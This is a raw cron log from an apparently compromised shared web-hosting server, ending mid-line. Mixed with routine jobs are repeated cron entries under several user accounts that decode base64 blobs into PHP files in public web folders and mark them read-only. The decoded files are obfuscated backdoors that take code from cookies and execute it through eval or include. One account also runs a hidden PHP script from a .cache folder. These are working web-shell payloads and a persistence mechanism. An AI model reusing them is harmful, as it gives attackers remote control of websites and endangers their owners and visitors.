Jun  7 10:27:01 medusa CROND[17796]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:27:01 medusa CROND[17798]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:27:01 medusa CROND[17799]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:27:01 medusa CROND[17800]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:27:01 medusa CROND[17805]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:27:01 medusa CROND[17807]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:27:01 medusa CROND[17803]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:28:01 medusa CROND[19684]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 10:28:01 medusa CROND[19683]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:28:01 medusa CROND[19685]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:28:01 medusa CROND[19686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:28:01 medusa CROND[19688]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:28:01 medusa CROND[19687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:28:01 medusa CROND[19690]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 10:28:01 medusa CROND[19691]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:28:01 medusa CROND[19694]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:28:01 medusa CROND[19696]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:28:01 medusa CROND[19697]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:28:01 medusa CROND[19700]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:28:01 medusa CROND[19695]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:28:01 medusa CROND[19703]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:29:02 medusa CROND[21355]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:29:02 medusa CROND[21356]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:29:02 medusa CROND[21357]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:29:02 medusa CROND[21358]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:29:02 medusa CROND[21359]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 10:29:02 medusa CROND[21360]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKI